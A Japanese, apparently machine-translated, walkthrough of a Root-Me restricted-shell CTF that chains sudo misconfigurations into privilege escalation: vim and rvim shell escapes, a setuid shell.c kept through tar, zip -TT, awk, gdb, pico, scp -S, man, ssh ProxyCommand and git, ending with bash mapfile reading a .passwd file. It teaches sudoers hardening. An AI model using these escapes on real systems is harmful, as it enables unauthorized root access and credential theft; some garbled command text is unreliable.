SUDOを信頼しないでください。







この記事では、Linuxでのコマンドの実行に関する制限を回避するためのいくつかの方法、さまざまなフォーラムでよく見られる使用のヒントについて説明します。 デモは、 Root-Me Webサイトの制限付きシェルタスクの例で実施されます。 それでは始めましょう。



ユーザーch14-1



SSH経由で接続した後、最初のユーザーが表示され、「sudo -lを常に確認する」というプロンプトが表示されます。 しかし、まず最初の障壁を回避する必要があります。それはrbashであり、シェルでのユーザーアクションを制限するために使用することをお勧めします。 そして実際、見た目は良い解決策ですが、常にそうではありません!



lsを使用する機会を奪われましたが、 echoを使用して任意のディレクトリの内容を表示できます。



app-script-ch14@challenge02:~$ echo ./step1/* ./step1/vim
      
      





通常、 rbashでの実行が許可されているバイナリのリストは、いわゆるホームディレクトリにあります。 この場合、 vimが使用可能になり、それを使用して通常のシェルに戻ることができます。 vimを起動して、コマンドを入力します。



 :set shell=/bin/bash :shell
      
      









Sudoを使用するとpythonを実行できます。その無限の機能を考えると、これは完全に安全ではありません。その理由は次のとおりです。



 app-script-ch14@challenge02:~$ /usr/bin/sudo -u app-script-ch14-2 /usr/bin/python
      
      





次のコマンドを入力します。



 >>> import os >>> os.system('/bin/bash')
      
      









ユーザーch14-2



そして、 tarアーカイバにアクセスできる次のユーザーにアクセスします。



 app-script-ch14-2@challenge02:~$ /usr/bin/sudo -l (app-script-ch14-3) NOPASSWD: /bin/tar
      
      





これは危険だと思われますか? ただし、 tarは 、他の多くのアーカイバと同様に、ファイルへのアクセス権を維持しながらファイルを圧縮および解凍できます。 次の内容でshell.cファイル作成します。



 #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv, char **envp) { setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); execve("/bin/sh", argv, envp); return 0; }
      
      





SUIDビットをコンパイルして追加します。



 app-script-ch14-2@challenge02:/tmp/lev2$ gcc shell.c -o shell && chmod 777 shell && chmod +s shell
      
      





sudoを使用して権利を保持した状態で解凍します。



 app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -cf ./test.tar ./shell app-script-ch14-2@challenge02:/tmp/lev2$ sudo -u app-script-ch14-3 /bin/tar -xvpf ./test.tar
      
      





その結果、解凍後、 シェルファイルは新しい所有者を取得します。 ls -ahlを実行すると、これを確認できます。

-rwsrwsrwx 1 app-script-ch14-3 app-script-ch14 7.2K 2月14 22:39シェル


開始後、次のレベルに進みます。







ユーザーch14-3



sudoをもう一度確認します。



 app-script-ch14-3@challenge02:/tmp/lev2$ sudo -l (app-script-ch14-4) NOPASSWD: /usr/bin/zip
      
      





今回は、デフォルトでzipのみファイルを圧縮します。 解凍にはunzipが必要です。これは実行できませんか?



zipを見たところ、興味深いパラメーターが見つかりました。

-TT cmd --unzip-command cmd

-Tオプションが使用されている場合、アーカイブをテストするには、 'unzip -tqq'の代わりにコマンドcmdを使用します。 Unixでは、標準システムのunzipの代わりに現在のディレクトリでunzipのコピーを使用するには、次を使用できます。



 zip archive file1 file2 -T -TT "./unzip -tqq"
      
      





cmdでは、{}は一時アーカイブの名前に置き換えられます。そうでない場合、アーカイブの名前がコマンドの末尾に追加されます。 戻りコードの成功を確認します(Unixでは0)


これが答えです。 アーカイブを開始してからアーカイブをテストし、検証用のコマンドとしてunzipを指定します。これにより、もちろんアクセス権を維持しながらファイルを現在のディレクトリに解凍します。



 app-script-ch14-3@challenge02:/tmp/lev2$ sudo -u app-script-ch14-4 /usr/bin/zip z shell -TT '/usr/bin/unzip -K {}' -T updating: shell (deflated 67%) Archive: ziFiNi11 replace shell? [y]es, [n]o, [A]ll, [N]one, [r]ename: y inflating: shell test of z.zip OK
      
      





結果を確認します。



 app-script-ch14-3@challenge02:/tmp/lev2$ ls -ahl shell -rwsrwsrwx 1 app-script-ch14-4 app-script-ch14 7.2K Feb 15 21:48 shell
      
      









ユーザーch14-4



彼が利用できるものを見てみましょう:



 app-script-ch14-4@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD (app-script-ch14-5) NOPASSWD: /usr/bin/awk
      
      





さて、すべてが簡単です。コマンドを実行するだけで、その説明はネットワーク上で簡単に見つけることができます。



 awk 'BEGIN {system("/bin/bash")}'
      
      









ユーザーch14-5



新しいユーザーと新しい制限:



 app-script-ch14-5@challenge02:/tmp/lev2$ sudo -l | grep NOPASSWD (app-script-ch14-6) NOPASSWD: /usr/bin/gdb
      
      





GDBは非常に強力なデバッガーであり、 bashを呼び出す方法は他にもたくさんあります。

1つ目は、組み込みのPythonを使用する方法です



 (gdb) python import os; os.system('id') uid=1506(app-script-ch14-6) gid=1314(app-script-ch14) groups=1314(app-script-ch14),100(users) (gdb) python import os; os.system('/bin/bash')
      
      





または、 vimで行ったのと同じ方法で:



 app-script-ch14-5@challenge02:/tmp/lev2$ sudo -u app-script-ch14-6 /usr/bin/gdb -q -ex "set shell='/bin/bash'" /bin/ls (gdb) shell
      
      









ユーザーch14-6



「picoのようなシンプルなエディターで何ができるのか」と思う場合、おそらくスペルチェックについては知らないでしょう。 そこでは、スペルチェッカーとして、何でも指定できると言われています。 シェルを実行するための優れたバイナリが既にあります。適切な権限を与える必要があります。 これを行うには、次の内容のspellbash.shファイルを作成します。



spellbash.sh
 #!/bin/bash gcc shell.c -o shell chmod 777 shell chmod +s shell
      
      







権利を変更します。



 chmod 777 spellbash.sh
      
      





そして、 picoを起動し、スクリプトをスペルチェッカーとして渡します。



 app-script-ch14-6@challenge02:/tmp/lev2$ sudo -u app-script-ch14-7 /usr/bin/pico -s ./spellbash.sh
      
      









スペルのチェックに成功し、エディターを閉じると、スクリプトを実行する準備が整いました。



 app-script-ch14-6@challenge02:/tmp/lev2$ ls -ahl shell -rwsrwsrwx 1 app-script-ch14-7 app-script-ch14 7.2K Feb 15 23:02 shell
      
      









ユーザーch14-7



まあ、ネットワーク経由でファイルをコピーするためのアクセスを提供することのすべての結果についてコメントする必要はありませんが、 manを実行することでネットワークにアクセスできないため、次のことがわかります。

-S program-暗号化された接続に使用するプログラムの名前。 プログラムはssh(1)オプションを理解する必要があります。


わかりました、アクションは前のレベルに類似しています:



 app-script-ch14-7@challenge02:/tmp/lev2$ sudo -u app-script-ch14-8 /usr/bin/scp -S ./spellbash.sh 127.0.0.1:/tmp/z.zip ./ app-script-ch14-7@challenge02:/tmp/lev2$ ls -ahl shell -rwsrwsrwx 1 app-script-ch14-8 app-script-ch14 7.2K Feb 15 23:09 shell
      
      









ユーザーch14-8



しかし、これはすでに興味深いです。 ただし、落とし穴があります。 たとえば、 manを実行し、対話的に「 h 」を押すと、そのようなエントリを見つけることができるヘルプが表示されます。

!command $ SHELLを使用してシェルコマンドを実行します。


シェルコマンドの直接実行。 必要なものは、任意のコマンドでmanを開き、 !/ Bin / bashと入力します



 app-script-ch14-8@challenge02:/tmp/lev2$ sudo -u app-script-ch14-9 /usr/bin/man ls
      
      









ユーザーch14-9



外部サーバーに接続する権限がないため、接続が確立される前でもコマンドを実行する方法が必要です。 そして、そのような機会がありますここで説明するアドバイスを使用します



 app-script-ch14-9@challenge02:/tmp/lev2$ sudo -u app-script-ch14-10 /usr/bin/ssh -o ProxyCommand="sh -c './spellbash.sh'" 127.0.0.1
      
      





接続がリセットされたというメッセージが表示されますが、これは彼にとって重要ではありません。



 app-script-ch14-9@challenge02:/tmp/lev2$ ls -ahl shell -rwsrwsrwx 1 app-script-ch14-10 app-script-ch14 7.2K Feb 18 21:34 shell
      
      









ユーザーch14-10



Gitはサードパーティのコマンドを実行する多くの方法も提供します。manで使用した最も単純なコマンドを使用します。



 app-script-ch14-10@challenge02:/tmp/lev2$ sudo -u app-script-ch14-11 /usr/bin/git help status
      
      





次に、 !/ Bin / bashと入力して、次のユーザーにアクセスします。







ユーザーch14-11



そのため、 vimを使用する代わりにrvimの限定バージョンを使用するというもう1つの一般的なヒント到達しました。その理由は次のとおりです。vimの最初に使用したのと同じ方法を試してみました







しかし、ここには抜け穴があります...利用可能なコマンドのリストを見ると、コマンドpython:luaに出くわすことができます。 rvimコマンドの直接実行からの制限はそれほど安全ではありませんでした。



 :python import os; os.system('gcc shell.c -o shell && chmod 777 shell && chmod +s shell')
      
      









ユーザーch14-12



スクリプトは新しいセッションを開始し、指定されたファイルにすべてを完全に記録するので、実行するだけです:



 app-script-ch14-12@challenge02:/tmp/lev2$ sudo -u app-script-ch14-13 /usr/bin/script script.sh
      
      









ユーザーch14-13



ここでも複雑なことは何もありませんので、始めて「最初」に戻ってください。



 app-script-ch14-13@challenge02:/tmp/lev2$ sudo -u app-script-ch14-14 /bin/rbash --
      
      









ユーザーch14-14



今回、著者はエラーを考慮してvimを削除しました。



 app-script-ch14-14@challenge02:~/step14$ echo ./* ./sl
      
      





ご想像のとおり、コマンドを実行すると、機関車のアニメーションと碑文
ゲームは終わりました!


しかし、ジョブの条件で必要な.passwdファイルの内容は受け取っていません。 これで終わりではありません。



利用可能なコマンドのリストを見てみましょう:



[TAB] [TAB]
 ! elif pushd ./ else pwd : enable readonly [ esac return [[ eval select ]] exit set alias export shift bg false shopt bind fc sl break fg suspend builtin fi test caller for then case function time cd getopts times command hash trap command_not_found_handle help true compgen history type complete if typeset compopt in ulimit continue jobs umask coproc kill unalias declare let unset dirs local until disown logout wait do mapfile while done popd { echo printf }
      
      







それほど多くはありませんが、 .passwdファイルの内容を取得する方法はいくつかありますが、そのうちの1つだけで、残りは独立した検索のために残されます。 したがって、使用可能な各コマンドのヘルプを見ると、そのうちの1つが非常に興味深いことがわかります。



ヘルプマップファイル
 mapfile: mapfile [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array] Read lines from the standard input into an indexed array variable. Read lines from the standard input into the indexed array variable ARRAY, or from file descriptor FD if the -u option is supplied. The variable MAPFILE is the default ARRAY. Options: -n count Copy at most COUNT lines. If COUNT is 0, all lines are copied. -O origin Begin assigning to ARRAY at index ORIGIN. The default index is 0. -s count Discard the first COUNT lines read. -t Remove a trailing newline from each line read. -u fd Read lines from file descriptor FD instead of the standard input. -C callback Evaluate CALLBACK each time QUANTUM lines are read. -c quantum Specify the number of lines read between each call to CALLBACK. Arguments: ARRAY Array variable name to use for file data. If -C is supplied without -c, the default quantum is 5000. When CALLBACK is evaluated, it is supplied the index of the next array element to be assigned and the line to be assigned to that element as additional arguments. If not supplied with an explicit origin, mapfile will clear ARRAY before assigning to it. Exit Status: Returns success unless an invalid option is given or ARRAY is readonly or not an indexed array.
      
      







その使用例のネットワークを簡単に検索した後、このコマンドを使用して任意のファイルを環境変数に読み込む方法を説明した記事を見つけまし



アドバイスを使用して、以下を実行します。



 app-script-ch14-14@challenge02:~/step14$ mapfile ARRAY < ../.passwd ARRAY app-script-ch14-14@challenge02:~/step14$ echo $ARRAY
      
      





そして、目的のパスワードを取得します。



さて、 sudoersファイルにプログラムを実行する機能を追加して、怠beにならず、その完全な説明を読んでください。それがメインのセキュリティホールになる可能性があるからです。



PS実際、各レベルには特定のソリューションセットがあり、独自のパスを見つけることははるかに興味深いでしょう。



All Articles